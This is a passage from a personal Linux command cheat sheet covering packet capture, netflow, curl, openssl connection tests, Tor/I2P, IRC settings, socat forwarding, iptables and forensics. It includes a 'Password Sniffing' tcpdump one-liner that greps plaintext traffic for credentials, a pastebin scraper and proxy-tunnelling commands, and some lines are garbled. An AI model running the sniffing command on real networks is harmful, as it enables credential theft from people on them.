  6527. ##   [?] Use a time-based ring buffer with 14 files,
  6528. ##   [?] which contain 12 hours (43,200 seconds).
  6529. ##   [?] Overwrite oldest file after 10 files have been created.
  6530. ##   [?] Filenames will contain appended digits as described above.
  6531. ## ---------------------------------------------------------------------- ##
  6532. tcpdump -nn -i eth0 -w $File.pcap -G 43200 -W 14
  6533.  
  6534.  
  6535. ##-============================================================================-##
  6536. ##   [+] capture the entire contents of each packet (a.k.a “snaplen zero”.)
  6537. ##-============================================================================-##
  6538. tcpdump -nn -i eth0 -w $File.pcap -s 0
  6539.  
  6540.  
  6541. ##-===================================================-##
  6542. ##   [+] Capture only first 56 bytes of each frame
  6543. ##-===================================================-##
  6544. ## -------------------------------------------------------------- ##
  6545. ##   [?] enough to cover the IP header and typical TCP header.
  6546. ## -------------------------------------------------------------- ##
  6547. tcpdump -nn -i eth0 -w $File.pcap -s 56
  6548.  
  6549.  
  6550.  
  6551. ##-===================================================-##
  6552. ##   [+]
  6553. ##-===================================================-##
  6554. tshark -f "tcp port 80" -i eth0
  6555.  
  6556.  
  6557. ##-==================================-##
  6558. ##   [+] listening on UDP port 53:
  6559. ##-==================================-##
  6560. tcpdump -As80 -tni eth0 "udp port 53"
  6561.  
  6562.  
  6563. ##-===========================-##
  6564. ##   [+] Password Sniffing
  6565. ##-===========================-##
  6566. tcpdump -i eth0 port http or port ftp or port smtp or port imap or port pop3 -l -A | egrep –i 'pass=|pwd=|log=|login=|user=|username=|pw=|passw=|passwd=|password=||name=|name:|pass:|user:|username:|password:|login:|pass |user ' --color=auto --line-
  6567.  
  6568.  
  6569. ##-===================================================-##
  6570. ##   [+]
  6571. ##-===================================================-##
  6572. tshark –r $File.pcap -2 –R http.request.uri –Tfields –e ip.dst –e http.request.full_uri –e http.user_agent –e data –E separator=, | cut –c1-91
  6573.  
  6574.  
  6575. ##-=======================================================-##
  6576. ##    [+] Filter out traffic with a source MAC of $MAC
  6577. ##-======================================================-##
  6578. tshark -r $File.cap -2 -R "wlan.sa==$MAC && wlan.fc.type_subtype==0x08" -T fields -e frame.time.delta | head -n 2
  6579.  
  6580.  
  6581.  
  6582.  
  6583.  
  6584.  
  6585.  
  6586.  
  6587. + Softflowd allows us to send the netflows according to our network data
  6588. + Nfdump has the tools to get and process the netflow files that we have gotten from softflowd
  6589.  
  6590. **_Settings_**
  6591.  
  6592. Softflowd_
  6593.  
  6594. We can modify the softflowd interface
  6595. define the IP and port.
  6596.  
  6597. /etc/default/softflowd
  6598.  
  6599.  
  6600. ##-============================-##
  6601. ##    [+] start the demon softflowd
  6602. ##-============================-##
  6603. /etc/init.d/softflowd start
  6604.  
  6605. ##-========================================================-##
  6606. ##    [+] check If we are getting the data and changing them to flows.
  6607. ##-========================================================-##
  6608.  
  6609. softflowd -i interface -n IP:PORT -D
  6610.  
  6611. ##-====================================-##
  6612. ##     [+] Shows the statistics of the flows
  6613. ##-====================================-##
  6614.  
  6615. softflowctl statistics
  6616.  
  6617.  
  6618.  
  6619.  
  6620.  
  6621.  
  6622.  
  6623.  
  6624. systemctl enable nfdump.service
  6625. ```
  6626. Let's stop the service to change the settings (the port)
  6627. ```
  6628. sudo pico /lib/systemd/system/nfdump.service
  6629. ```
  6630. The nfdump's settings file is this
  6631. ```
  6632. sudo vi /lib/systemd/system/nfdump.service
  6633. ```
  6634. Reload systemd daemons and start ndfdump:
  6635. ```
  6636. sudo systemctl daemon-reload
  6637. sudo systemctl start nfdump.service
  6638. ```
  6639. We can be sure if the ports are OK using the netstat
  6640. ```
  6641. netstat -n --udp --listen
  6642. ```
  6643. Using the next command we can print the data through nfdump
  6644. ```
  6645. nfdump -R /var/cache/nfdump
  6646. ```
  6647.  
  6648. ## Ndfump to manage the flows
  6649.  
  6650. nfdump -r nfcapd.2017xxxxx -o extended -o csv -q
  6651.  
  6652. Convert to CSV
  6653. ```
  6654. nfdump -r file -o csv > output.csv
  6655. ```
  6656. We can see the information of each field in the next URL "https://github.com/phaag/nfdump/blob/4dafc2dc050a7371afb2e0934f7989876bfc0870/bin/parse_csv.pl"
  6657.  
  6658. Filter IP
  6659. ```
  6660. nfdump -r [input file] 'net 8.8.8.8/32'
  6661.  
  6662.  
  6663.  
  6664.  
  6665.  
  6666.  
  6667.  
  6668.  
  6669. ##-===================================================-##
  6670. ##   [+]
  6671. ##-===================================================-##
  6672. nfdump -r $File -o "fmt:<fmt str>"
  6673.  
  6674.  
  6675.  
  6676. ##-====================================================-##
  6677. ##   [+] Extract Src Address,Dst Address, and Packets
  6678. ##-====================================================-##
  6679. nfdump -r $File -o "fmt:%pkt,%sa,%da" > $File.csv
  6680.  
  6681.  
  6682.  
  6683. ## ----------------------------------- ##
  6684. ##    [?] Packets           | %pkt |
  6685. ##    [?] Src Address       | %sa  |
  6686. ##    [?] Dst Address       | %da  |
  6687. ##    [?] TCP Flags         | %flg |
  6688. ##    [?] Protocol          | %pr  |
  6689. ##    [?] Src Address:Port  | %sap |
  6690. ##    [?] Dst Address:Port  | %dap |
  6691. ## ----------------------------------- ##
  6692.  
  6693.  
  6694. ##-=========================================-##
  6695. ##   [+] Read From File, Extracting Out:
  6696. ##-=========================================-##
  6697. ##   > Packets
  6698. ##   > Src Address:Port
  6699. ##   > Dst Address:Port
  6700. ##   > TCP Flags
  6701. ##-=========================================-##
  6702. nfdump -r $File -o "fmt:%pkt,%sap,%dap,%flg" > $File.csv
  6703.  
  6704.  
  6705.  
  6706. ##-=============================================-##
  6707. ##   [+] View the “topN” talkers to identify
  6708. ##       the noisiest IPs by flow count.
  6709. ##-=============================================-##
  6710. nfdump -r $File -s ip/flows -n 10
  6711.  
  6712.  
  6713. ##-================================================================-##
  6714. ##   [+] Display a limited number of records with the -c switch.
  6715. ##-================================================================-##
  6716. nfdump -r $File -c <record_limit>
  6717.  
  6718.  
  6719. ##-======================================-##
  6720. ##   [+] Curl SOCKS5 Proxy Connection:
  6721. ##-======================================-##
  6722. curl -s -m 10 --socks5 $hostport --socks5-hostname $hostport -L $URL
  6723.  
  6724.  
  6725. ##-===========================================-##
  6726. ##   [+] Bulk Download Files By Their URLs
  6727. ##-===========================================-##
  6728. ## ------------------------------------------------ ##
  6729. ##   [?] The URL Links Are Fed To Curl From xarg
  6730. ## ------------------------------------------------ ##
  6731. xargs -n 1 curl -O < $File
  6732.  
  6733.  
  6734.  
  6735.  
  6736.  
  6737.  
  6738. # geoip lookup
  6739.  
  6740. geoip(){curl -s "http://www.geody.com/geoip.php?ip=${1}" | sed '/^IP:/!d;s/<[^>][^>]*>//g' ;}
  6741.  
  6742.  
  6743.  
  6744. # Show current weather for any US city or zipcode
  6745.  
  6746. weather() { lynx -dump "http://mobile.weather.gov/port_zh.php?inputstring=$*" | sed 's/^ *//;/ror has occ/q;2h;/__/!{x;s/\n.*//;x;H;d};x;s/\n/ -- /;q';}
  6747.  
  6748.  
  6749.  
  6750.  
  6751.  
  6752.  
  6753.  
  6754. ##-===============================================================-##
  6755. ##   [+] Download all recently uploaded pastes on pastebin.com
  6756. ##-===============================================================-##
  6757. elinks -dump https://pastebin.com/archive|grep https|cut -c 7-|sed 's/com/com\/raw/g'|awk 'length($0)>32 && length($0)<35'|grep -v 'messages\|settings\|languages\|archive\|facebook\|scraping'|xargs wget
  6758.  
  6759.  
  6760.  
  6761.  
  6762.  
  6763. ##-======================================-##
  6764. ##   [+]
  6765. ##-======================================-##
  6766. grep 'href='
  6767. file
  6768. 1 cut -d"/" -f3
  6769. I grep
  6770. url
  6771. lsort -u
  6772.  
  6773.  
  6774. ##-======================================-##
  6775. ##   [+] Check for title and all links
  6776. ##-======================================-##
  6777. curl INSERTIPADDRESS -s -L | grep "title\|href" | sed -e 's/^[[:space:]]*//'
  6778.  
  6779.  
  6780. ##-===================================-##
  6781. ##   [+] Look at page with just text
  6782. ##-===================================-##
  6783. curl INSERTIPADDRESS -s -L | html2text -width '99' | uniq
  6784.  
  6785.  
  6786. ##-===============================-##
  6787. ##  [+] Remove the User Agent
  6788. ##-===============================-##
  6789. curl -A '' $Domain
  6790.  
  6791.  
  6792. ##-==================================-##
  6793. ##  [+] Send an Empty User Agent
  6794. ##-==================================-##
  6795. curl -A '' -H 'User-Agent;' $Domain
  6796.  
  6797.  
  6798. ##-===============================-##
  6799. ##  [+] Save Cookies to a File
  6800. ##-===============================-##
  6801. curl -c cookies.txt $Domain
  6802.  
  6803.  
  6804. ##-=================================-##
  6805. ##  [+] Load Cookies from a File
  6806. ##-=================================-##
  6807. curl -b cookies.txt $Domain
  6808.  
  6809.  
  6810. ##-=================================-##
  6811. ##  [+] Capture Session Token:
  6812. ##-=================================-##
  6813. wget -q --save-cookies=$Cookie.txt --keep-session-cookies --post-data="username:admin&password=pass&Login=Login" http://$URL/login.php
  6814.  
  6815.  
  6816.  
  6817.  
  6818. openssl req -x509 -nodes -days 365 -newkey rsa:2048 -keyout /etc/apache2/ssl/apache.key -out /etc/apache2/ssl/apache.crt
  6819.  
  6820.  
  6821.  
  6822.  
  6823. ## ---------------------------------------------- ##
  6824. ##  [+] Testing connection to the remote host
  6825. ## ---------------------------------------------- ##
  6826. echo | openssl s_client -connect $Domain:443 -showcerts
  6827.  
  6828.  
  6829. ## ---------------------------------------------------------------- ##
  6830. ##  [+] Testing connection to the remote host (with SNI support)
  6831. ## ---------------------------------------------------------------- ##
  6832. echo | openssl s_client -showcerts -servername $Domain -connect $Domain:443
  6833.  
  6834.  
  6835. ## ----------------------------------------------------------------------- ##
  6836. ##  [+] Testing connection to the remote host with specific ssl version
  6837. ## ----------------------------------------------------------------------- ##
  6838. openssl s_client -tls1_2 -connect $Domain:443
  6839.  
  6840.  
  6841. ## ----------------------------------------------------------------------- ##
  6842. ##  [+] Testing connection to the remote host with specific ssl cipher
  6843. ## ----------------------------------------------------------------------- ##
  6844. openssl s_client -cipher 'AES128-SHA' -connect $Domain:443
  6845.  
  6846.  
  6847.  
  6848. ##-=============================================-##
  6849. ##   [+] Connect to SMTP server using STARTTLS
  6850. ##-=============================================-##
  6851. openssl s_client -starttls smtp -crlf -connect 127.0.0.1:25
  6852. openssl s_client -connect smtp.office365.com:587 -starttls smtp
  6853. gnutls-cli-debug --starttls-proto smtp --port 25 localhost
  6854.  
  6855.  
  6856.  
  6857. ##-=========================================-##
  6858. ##   [+]
  6859. ##-=========================================-##
  6860. openssl s_client -connect smtp.gmail.com:587 -starttls smtp < /dev/null 2>/dev/null |
  6861. openssl x509 -fingerprint -noout -in /dev/stdin | cut -d'=' -f2
  6862.  
  6863.  
  6864. ##-=========================================-##
  6865. ##   [+]
  6866. ##-=========================================-##
  6867. openssl s_client -showcerts -starttls smtp -connect smtp_relay:smtp_relay_port < /dev/null 2> /dev/null
  6868.  
  6869.  
  6870. ##-=========================================-##
  6871. ##   [+]
  6872. ##-=========================================-##
  6873. sudo -u postfix openssl s_client -showcerts -starttls smtp -connect smtp.gmail.com:587 < /dev/null 2> /dev/null
  6874.  
  6875.  
  6876. ##-=========================================-##
  6877. ##   [+]
  6878. ##-=========================================-##
  6879. openssl s_client -CApath /etc/ssl/certs -showcerts -starttls smtp -connect smtp_relay:smtp_relay_port < /dev/null 2> /dev/null
  6880.  
  6881.  
  6882. ##-=========================================-##
  6883. ##   [+] secure POP:
  6884. ##-=========================================-##
  6885. openssl s_client -quiet -connect $Domain:995
  6886. openssl s_client -crlf -connect server.server.net:110 -starttls pop3
  6887.  
  6888.  
  6889. ##-=========================================-##
  6890. ##   [+] secure IMAP:
  6891. ##-=========================================-##
  6892. openssl s_client -quiet -connect $Domain:993
  6893. openssl s_client -ssl3 -connect imap.gmail.com:993
  6894. gnutls-cli imap.gmail.com -p 993
  6895.  
  6896.  
  6897.  
  6898.  
  6899. openssl s_client -showcerts -connect chat.freenode.net:6697
  6900.  
  6901.  
  6902. ##-=========================================-##
  6903. ##   [+] Verify the SHA-256 fingerprint:
  6904. ##-=========================================-##
  6905. openssl x509 -in /etc/pki/$File.pem -fingerprint -noout -sha256
  6906.  
  6907.  
  6908. ##-=========================================================-##
  6909. ##   [+] verify the XMPP servers certificate fingerprint
  6910. ##-=========================================================-##
  6911. echo -e | openssl s_client -connect $Domain:5222 -starttls xmpp | openssl x509 -noout -fingerprint -sha256 | tr -d ':'
  6912.  
  6913.  
  6914.  
  6915.  
  6916.  
  6917.  
  6918.  
  6919.  
  6920. gnutls-cli --crlf --starttls --x509cafile /etc/pki/CA/cacert.pem --port 25 mail.$Domain.com
  6921.  
  6922.  
  6923.  
  6924.  
  6925.  
  6926.  
  6927. openssl s_client -host $Host -port 389
  6928. openssl s_client -host $Host -port 636
  6929.  
  6930.  
  6931. ##-============================================-##
  6932. ##   [+] Connect to LDAP/LDAPS Using CA File:
  6933. ##-============================================-##
  6934. openssl s_client -CAfile /$Dir/$File.pem -host $Host -port 389
  6935. openssl s_client -CAfile /$Dir/$File.pem -host $Host -port 636
  6936.  
  6937. openssl s_client -connect $Host:$Port -starttls LDAP
  6938.  
  6939. openssl s_client -connect ldap.$Host:389
  6940. openssl s_client -connect ldap.$Host:636
  6941.  
  6942.  
  6943. ##-=================================-##
  6944. ##   [+] Dump LDAP/LDAPS To File:
  6945. ##-=================================-##
  6946. tcpdump port 389 -w $File.pcap
  6947. tcpdump port 636 -w $File.pcap
  6948.  
  6949.  
  6950.  
  6951.  
  6952. ##-=========================================-##
  6953. ##   [+] Creating a Certificate Request
  6954. ##-=========================================-##
  6955. openssl req -config /etc/mail/certs/mailCA/openssl.cnf -new -nodes -days 1095 -keyout $Domain.key.pem -out $Domain.csr.pem
  6956.  
  6957.  
  6958. ##-=========================================-##
  6959. ##   [+] Signing Your Certificate Request
  6960. ##-=========================================-##
  6961. openssl ca -config /etc/mail/certs/mailCA/openssl.cnf -policy policy_anything -out $Domain.cert.pem -infiles $Domain.csr.pem
  6962.  
  6963.  
  6964. ##-========================================-##
  6965. ##  [+] Generate multidomain certificate
  6966. ##-========================================-##
  6967. certbot certonly -d $Domain -d $Domain
  6968.  
  6969.  
  6970. ##-======================================-##
  6971. ##  [+] Generate wildcard certificate
  6972. ##-======================================-##
  6973. certbot certonly --manual --preferred-challenges=dns -d $Domain -d *.$Domain
  6974.  
  6975.  
  6976. ##-======================================================-##
  6977. ##  [+] Generate certificate with 4096 bit private key
  6978. ##-======================================================-##
  6979. certbot certonly -d $Domain -d $Domain --rsa-key-size 4096
  6980.  
  6981.  
  6982. ##-======================================-##
  6983. ##   [+]
  6984. ##-======================================-##
  6985. stunnel -cr $Site.com:443
  6986.  
  6987.  
  6988.  
  6989.  
  6990.  
  6991. ## ----------------------------------------------------------------------------- ##
  6992. ##   [?] tor-gencert - Generate certs and keys For Tor directory authorities
  6993. ## ----------------------------------------------------------------------------- ##
  6994. ##   [?] Tor directory authorities running the v3 Tor directory protocol,
  6995. ## ----------------------------------------------------------------------------- ##
  6996. ##   [?] Every directory authority has a long term authority identity key
  6997. ##   [?] (which is distinct from the identity key it uses as a Tor server);
  6998. ##   [?] this key should be kept offline in a secure location.
  6999. ## ----------------------------------------------------------------------------- ##
  7000.  
  7001.  
  7002. ##-======================================-##
  7003. ##   [+] Generate a new identity key:
  7004. ##-======================================-##
  7005. tor-gencert --create-identity-key
  7006.  
  7007.  
  7008. ##-======================================================-##
  7009. ##   [+] Read the identity key from the specified file:
  7010. ##-======================================================-##
  7011. ##   [?] Default: "./authority_identity_key"
  7012. ## ------------------------------------------------------ ##
  7013. tor-gencert -i $File
  7014.  
  7015.  
  7016. ##-=====================================================-##
  7017. ##   [+] Write the signing key to the specified file:
  7018. ##-=====================================================-##
  7019. ##   [?] Default: "./authority_signing_key"
  7020. ## ----------------------------------------------------- ##
  7021. tor-gencert -s $File
  7022.  
  7023.  
  7024. ##-=====================================================-##
  7025. ##   [+] Write the certificate to the specified file:
  7026. ##-=====================================================-##
  7027. ##   [?] Default: "./authority_certificate"
  7028. ## ----------------------------------------------------- ##
  7029. tor-gencert -c $File
  7030.  
  7031.  
  7032.  
  7033. ##-======================================-##
  7034. ##   [+]
  7035. ##-======================================-##
  7036. i2prouter start
  7037.  
  7038.  
  7039. ##-======================================-##
  7040. ##   [+]
  7041. ##-======================================-##
  7042. sudo -u i2psvc i2prouter start
  7043. sleep 2
  7044.  
  7045.  
  7046. ##-======================================-##
  7047. ##   [+]
  7048. ##-======================================-##
  7049. xdg-open
  7050. xdg-open http://127.0.0.1:7657/home
  7051.  
  7052.  
  7053. ##-======================================-##
  7054. ##   [+]
  7055. ##-======================================-##
  7056. kill -INT $( cat /var/run/i2pd/i2pd.pid )
  7057.  
  7058.  
  7059. ##-======================================-##
  7060. ##   [+]
  7061. ##-======================================-##
  7062. iptables -A OUTPUT -m owner --uid-owner $TorUID -j ACCEPT
  7063. iptables -A OUTPUT -j REJECT
  7064.  
  7065.  
  7066. ##-======================================-##
  7067. ##   [+]
  7068. ##-======================================-##
  7069. tor_uid="$(id -u debian-tor)"
  7070.  
  7071.  
  7072. ##-======================================-##
  7073. ##   [+]
  7074. ##-======================================-##
  7075. curl -s -m 10 --socks5 "$hostport" --socks5-hostname "$hostport" -L "$url"
  7076.  
  7077.  
  7078. ##-===================================================================-##
  7079. ##   [+] Curl - Tor SOCKS5 Proxy - Secure TLS - Firefox User Agent
  7080. ##-===================================================================-##
  7081. curl --proxy "socks5h://localhost:9050" --tlsv1.2 --compressed --user-agent "Mozilla/5.0 (Windows NT 6.1; rv:45.0) Gecko/20100101 Firefox/45.0" -H 'Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8' -H 'DNT: 1' $URL
  7082.  
  7083.  
  7084.  
  7085. echo "## ########################################## ###"
  7086. echo "##    ##"
  7087. echo "## ########################################## ###"
  7088. /ignore * CTCPS
  7089.  
  7090. echo "## ########################################## ###"
  7091. echo "##    ##"
  7092. echo "## ########################################## ###"
  7093. /ignore * DCC
  7094.  
  7095.  
  7096.  
  7097.  
  7098.  
  7099. ## ---------------------------------------------------------------------------- ##
  7100.      /OTR gen                               ## Generate OTR Keys
  7101.      /OTR genkey $Nick@irc.$Server.net      ## Generate OTR Keys For $Server
  7102. ## ---------------------------------------------------------------------------- ##
  7103.      /OTR start                             ## Starts an OTR chat
  7104.      /OTR finish $Nick                      ## Finish an OTR chat
  7105. ## ---------------------------------------------------------------------------- ##
  7106.      /OTR trust $Nick                       ## Trusts the other user
  7107.      /OTR auth $Nick $Pass                  ## Auths a user via password
  7108. ## ---------------------------------------------------------------------------- ##
  7109.  
  7110.  
  7111.  
  7112.  
  7113.  
  7114.  
  7115. ~/.config/hexchat/
  7116. ~/.config/hexchat/certs/
  7117. ~/.config/hexchat/ignore.conf
  7118. ~/.config/hexchat/hexchat.conf
  7119.  
  7120.  
  7121. /ignore *!*@* CTCP DCC
  7122. /ignore * CTCP DCC
  7123. /ignore * CTCPS
  7124. /ignore * DCC
  7125. /ignore * CTCP DCC
  7126. /set identd OFF
  7127. /set dcc_auto_chat 0
  7128. /set dcc_auto_resume OFF
  7129.  
  7130. /set net_proxy_host 10.8.0.1
  7131. /set net_proxy_port 1080
  7132. /set net_proxy_type 3
  7133. /set irc_user_name xe1phix
  7134. /set irc_nick1 parrotsec-kiosk
  7135.  
  7136.  
  7137.  
  7138. ## ################################################################################################## ##
  7139. ## =============================== Beginning of I2p Irc2p Topic ===================================== ##
  7140. ## ################################################################################################## ##
  7141.  
  7142.  
  7143.  
  7144.  
  7145. ## ===================================================================================== ##
  7146.  
  7147. ## ===================================================================================== ##
  7148. ##                      KillYourTV I2P IRC (IRC2P Protocol) Server
  7149. ## ===================================================================================== ##
  7150.  
  7151.  
  7152. ## ---------------------------------------------------------------------------------- ##
  7153. /join channel #irc2p
  7154. ## ---------------------------------------------------------------------------------- ##
  7155. KillYourTV / kytv on irc.oftc.net
  7156. Killyourtv on irc.oftc.net
  7157. KillYourTV on irc.killyourtv.i2p
  7158. killyourtv / kytv on irc.freenode.net
  7159. KillYourTV on irc.postman.i2p
  7160. ## ---------------------------------------------------------------------------------- ##
  7161.  
  7162.  
  7163. ## ===================================================================================== ##
  7164. ##                      Other I2P IRC (IRC2P Protocol) Servers
  7165. ## ===================================================================================== ##
  7166.  
  7167. ## Irc2P                            [[ xdg-open http://127.0.0.1:6668   ]]  ## IRC tunnel to access the Irc2P network
  7168. ## Postman Irc2p IRC Server         [[   hexchat irc.postman.i2p:6667   ]]  ##
  7169. ## Echelons Irc2p IRC Server        [[   hexchat irc.echelon.i2p:6667   ]]  ##
  7170.  
  7171.  
  7172.  
  7173.  
  7174. ##-=========================================-##
  7175. ##   [+]
  7176. ##-=========================================-##
  7177. /server add freenode chat.freenode.net/6697 -ssl
  7178. /connect chat.freenode.net/6697 -ssl
  7179.  
  7180.  
  7181. ##-=========================================-##
  7182. ##   [+]
  7183. ##-=========================================-##
  7184. /set weechat.network.gnutls_ca_file "/etc/ssl/certs/ca-certificates.crt"
  7185.  
  7186.  
  7187. ##-=========================================-##
  7188. ##   [+]
  7189. ##-=========================================-##
  7190. /server add NAME HOST/6667 -autoconnect -ssl -ssl_dhkey_size=512 -password=PASSWORD -username=USERNAME -nicks=NICK
  7191.  
  7192.  
  7193. ~/.config/hexchat/certs/
  7194. ##-=========================================-##
  7195. ##   [+]
  7196. ##-=========================================-##
  7197. openssl req -x509 -newkey rsa:4096 -sha256 -days 365 -nodes -keyout Certificate.key -out Certificate.crt
  7198.  
  7199.  
  7200. ##-=========================================-##
  7201. ##   [+]
  7202. ##-=========================================-##
  7203. cat Certificate.crt Certificate.key > Certificate.pem
  7204. rm Certificate.crt Certificate.key
  7205.  
  7206.  
  7207. ##-=========================================-##
  7208. ##   [+] Register your fingerprint
  7209. ##      (append FINGERPRINT if on Rizon):
  7210. ##-=========================================-##
  7211. /msg NickServ cert add
  7212. /msg NickServ CERT LIST
  7213. /msg NickServ CERT ADD
  7214.  
  7215.  
  7216. sed -i 's/^\(net_proxy_type =\) 3$/\1 0/'     /home/anon/config/hexchat/hexchat.conf
  7217. sed -i 's/^\(dcc_ip_from_server =\) 0$/\1 1/' /home/anon/config/hexchat/hexchat.conf
  7218. sed -i 's/browser\.html/browser-noanon.html/'  /home/anon/config/firefox/profile.anon/prefs.js
  7219.  
  7220.  
  7221.  
  7222.  
  7223.  
  7224.  
  7225.  
  7226. Tor Browser without Tor
  7227.  
  7228.  
  7229. /home/parrotsec-kiosk/Downloads/Xe1phix-ParrotKiosk-Production-v2/Xe1phix-Firefox-Hardening/Xe1phix-User.js/FirefoxHardened-UserJsSetup-v4.7.sh
  7230. /home/parrotsec-kiosk/Downloads/Xe1phix-ParrotKiosk-Production-v2/Xe1phix-Firefox-Hardening/Xe1phix-TorBrowser/Xe1phix-TorBrowser-Setup-v4.3.sh
  7231.  
  7232.  
  7233. ## Clone The Firefox Hardening Projects Github Repository:
  7234. git clone https://github.com/pyllyukko/user.js
  7235.  
  7236.  
  7237.  
  7238. ##-===========================-##
  7239. ##    [+]  SSH over HTTP (Squid)
  7240. ##-===========================-##
  7241. socat TCP-L:9999,fork,reuseaddr PROXY:192.168.1.41:127.0.0.1:22,proxyport=3128
  7242. ssh $User@127.0.0.1 -p 9999
  7243.  
  7244.  
  7245.  
  7246. ##-=========================-##
  7247. ##    [+]  TCP Port Redirection
  7248. ##-=========================-##
  7249. socat TCP-LISTEN:80,fork TCP:<remote host>:80
  7250. socat TCP-LISTEN:443,fork TCP:<remote host>:443
  7251.  
  7252.  
  7253. ##-=========================-##
  7254. ##    [+]  UDP Port Redirection
  7255. ##-=========================-##
  7256. socat udp4-recvfrom:53,reuseaddr,fork udp4-sendto:$IPAddress>; echo -ne
  7257.  
  7258.  
  7259.  
  7260. ##-===========================================-##
  7261. ##   [+] print a specific line from a file
  7262. ##-===========================================-##
  7263. awk 'FNR==5' $File
  7264.  
  7265.  
  7266. ##-==============================================-##
  7267. ##   [+] List your largest installed packages
  7268. ##-==============================================-##
  7269. sed -ne '/^Package: \(.*\)/{s//\1/;h;};/^Installed-Size:  \(.*\)/{s//\1/;G;s/\n/ /;p;}' /var/lib/dpkg/status | sort -rn
  7270.  
  7271.  
  7272. ##-======================================-##
  7273. ##   [+]
  7274. ##-======================================-##
  7275. irc_hide_version = 1
  7276.  
  7277.  
  7278.  
  7279. ##-======================================-##
  7280. ##   [+]
  7281. ##-======================================-##
  7282. keyscan $Cert.pem $File.bin
  7283.  
  7284.  
  7285.  
  7286. ##-====================================================================-##
  7287. ##  [+] Ban all IPs that attempted to access phpmyadmin on your site
  7288. ##-====================================================================-##
  7289. grep "phpmyadmin" /var/log/access.log | grep -Po "^\d{1,3}\.\d{1,3}\.\d{1,3}\.\d{1,3}" | sort | uniq | xargs -I% sudo iptables -A INPUT -s % -j DROP
  7290.  
  7291.  
  7292.  
  7293. ##-===========================================================-##
  7294. ##  [+] Block known dirty hosts from reaching your machine
  7295. ##-===========================================================-##
  7296. wget -qO - http://infiltrated.net/blacklisted|awk '!/#|[a-z]/&&/./{print "iptables -A INPUT -s "$1" -j DROP"}'
  7297.  
  7298.  
  7299.  
  7300. ##-==============================================================-##
  7301. ##  [+] Retrieve dropped connections from firewalld journaling
  7302. ##-==============================================================-##
  7303. journalctl -b | grep -o "PROTO=.*" | sed -r 's/(PROTO|SPT|DPT|LEN)=//g' | awk '{print $1, $3}' | sort | uniq -c
  7304.  
  7305.  
  7306. ##-=========================-##
  7307. ##   [+] Logger Services
  7308. ##-=========================-##
  7309. logger -t "($(basename ))" $$ SERVICES-START being started....
  7310.  
  7311.  
  7312. tail -F /var/log/openvpn.log
  7313.  
  7314. lsof -Pni | grep
  7315.  
  7316.  
  7317.  
  7318.  
  7319. ##-=================================================-##
  7320. ##   [+] Count processes related to HTTP server
  7321. ##-=================================================-##
  7322. ps aux | grep http | grep -v grep | wc -l
  7323.  
  7324.  
  7325.  
  7326. ##-=================================================-##
  7327. ##   [+] Display top 5 processes consuming CPU
  7328. ##-=================================================-##
  7329. ps -eo pcpu,user,pid,cmd | sort -r | head -5
  7330.  
  7331.  
  7332. ##-========================================================================-##
  7333. ##   [+] Display the top ten running processes - sorted by memory usage
  7334. ##-========================================================================-##
  7335. ps aux | sort -nk +4 | tail
  7336.  
  7337.  
  7338.  
  7339. ##-=================================================-##
  7340. ##   [+]
  7341. ##-========================================================================-##
  7342. sysctl -w net.ipv4.ip_forward=1
  7343. iptables-save | sudo tee /etc/iptables/rules.v4
  7344.  
  7345. ipset list
  7346.  
  7347. /var/lib/ipset/rules-save
  7348. ipset save > "${IPSET_SAVE}"
  7349. ipset restore < "${IPSET_SAVE}"
  7350.  
  7351.  
  7352.  
  7353. ipset save > /etc/iptables/ipset.v4
  7354. ipset restore < /etc/iptables/ipset.v4
  7355. iptables-save > /etc/iptables/rules.v4
  7356. iptables-restore < /etc/iptables/rules.v4
  7357. ip6tables-restore < /etc/iptables/rules.v6
  7358.  
  7359. chmod 0640 /etc/iptables/rules.v4
  7360.  
  7361.  
  7362. if [ ! -f /proc/net/ip6_tables_names ]; then
  7363.         echo " skipping IPv6 (no modules loaded)"
  7364. elif [ -x /sbin/ip6tables-save ]; then
  7365.         touch /etc/iptables/rules.v6
  7366.         chmod 0640 /etc/iptables/rules.v6
  7367.         ip6tables-save > /etc/iptables/rules.v6
  7368.  
  7369.  
  7370.  
  7371.  linux vpn auto reconnect
  7372.  
  7373. nmcli connection modify <Your VPN connection name> vpn.persistent yes
  7374.  
  7375.  
  7376.  
  7377.  
  7378.  
  7379.  
  7380. /var/log/fail2ban.log
  7381.  
  7382.  
  7383.  
  7384.  
  7385.  
  7386.  
  7387.  
  7388.  
  7389.  
  7390.  
  7391.  
  7392. iptables ­A INPUT ­p TCP ­­dport 22 ­j ULOG ­­ulog­prefix "SSH connection attempt: "
  7393.  
  7394.  
  7395.  
  7396. conntrackd -C /etc/conntrackd/conntrackd.conf
  7397.  
  7398.  
  7399. ulogd --daemon --uid ulog --pidfile /run/ulog/ulogd.pid
  7400.  
  7401.  
  7402.  
  7403.  
  7404.  
  7405. --verbose
  7406. --loglevel
  7407. --configfile
  7408. --info
  7409.  
  7410.  
  7411. --daemon
  7412.  
  7413.  
  7414.  
  7415.  
  7416.  
  7417.  
  7418.  
  7419.     do
  7420.         f_iptrule "-D" "${ban_chain} -i ${dev} -m conntrack --ctstate NEW -m set --match-set ${src_name} src -j ${target_src}"
  7421.         f_iptrule "-D" "${ban_chain} -o ${dev} -m conntrack --ctstate NEW -m set --match-set ${src_name} dst -j ${target_dst}"
  7422.     done
  7423.  
  7424.  
  7425.  
  7426.  
  7427.  
  7428. # Mount folder/filesystem through SSH
  7429. sshfs name@server:/path/to/folder /path/to/mount/point
  7430.  
  7431. # Mount a temporary ram partition
  7432. mount -t tmpfs tmpfs /mnt -o size=1024m
  7433.  
  7434.  
  7435. tmpfs   /home/username/.cache   tmpfs   noatime,nodev,nosuid,size=400M  0   0
  7436.  
  7437.  
  7438.  
  7439.  
  7440.  
  7441.  
  7442.  
  7443. ##-=====================================================-##
  7444. ##   [+] ASCII string search and list the byte offset
  7445. ##-=====================================================-##
  7446. srch_strings -t d $File.dd > $File.ascii.str
  7447.  
  7448.  
  7449. ##-===================================================-##
  7450. ##   [+] uNICODE string search and list byte offset
  7451. ##-===================================================-##
  7452. srch_strings -e l –t d $File.dd > $File.uni.str
  7453.  
  7454.  
  7455.  
  7456.  
  7457. ##-=========================-##
  7458. ##   [+] Steganography
  7459. ##-=========================-##
  7460. steghide extract -sf $File.jpg
  7461. steghide info $File.jpg
  7462.  
  7463.  
  7464.  
  7465.  
  7466.  
  7467.  
  7468.  
  7469.  
  7470. ##-============================================================-##
  7471. ##   [+] Create unallocated Image (deleted data) using blkls
  7472. ##-============================================================-##
  7473. blkls $imagefile.dd > $unallocated_imagefile.blkls
